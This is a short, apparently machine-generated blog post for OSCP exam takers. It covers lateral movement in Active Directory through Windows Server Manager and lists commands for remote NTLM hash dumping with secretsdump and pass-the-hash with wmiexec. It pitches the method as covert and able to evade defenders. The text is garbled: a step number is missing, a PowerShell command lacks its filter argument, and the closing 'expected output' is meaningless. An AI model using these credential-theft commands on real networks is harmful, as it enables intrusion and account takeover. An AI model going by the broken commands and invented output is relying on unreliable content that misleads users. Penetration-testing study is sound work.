When tackling the Active Directory portion of the OSCP exam, if you’re on a member server with valid credentials, you can quickly connect to other machines—even the Domain Controller—using Server Manager. This is particularly useful if RDP or WinRM is blocked, allowing lateral movement within the environment.
Why Server Manager?
- GUI-based lateral movement: Useful when traditional methods are restricted.
- No need for additional tools: Built into Windows Server.
- Bypasses certain restrictions: Works even if PowerShell remoting is disabled.
Steps to Use Server Manager for Lateral Movement
1. Open Server Manager (`servermanager.exe`).
2. Click “Add Servers” in the dashboard.
- Use DNS, IP, or Active Directory search to locate target machines.
4. Authenticate with valid credentials.
- Manage services, roles, and files on the remote system.
You Should Know: Essential Commands for AD Penetration Testing
Windows Commands
- List all domain computers:
Get-ADComputer -Filter | Select-Object Name
- Check current user’s privileges:
whoami /priv
- Enable WinRM remotely (if allowed):
winrm quickconfig -force
Linux (Impacket Tools for AD Exploitation)
- Dump NTLM hashes remotely:
python3 secretsdump.py DOMAIN/user:password@target_ip
- Perform Pass-the-Hash attack:
python3 wmiexec.py -hashes LMHASH:NTHASH DOMAIN/user@target_ip
What Undercode Say
Server Manager is an underrated tool for covert lateral movement in restricted environments. While PowerShell and RDP are common targets for blue teams, GUI-based tools like Server Manager often fly under the radar. Always check:
– Local admin rights on target machines.
– Firewall rules that may block Server Manager traffic.
– Event logs for suspicious activity (Event Viewer > Security).
For deeper exploitation, combine this with Mimikatz, BloodHound, or CrackMapExec to map privilege escalation paths.
Expected Output:
Successfully added [bash] to Server Manager. Remote management enabled via GUI.
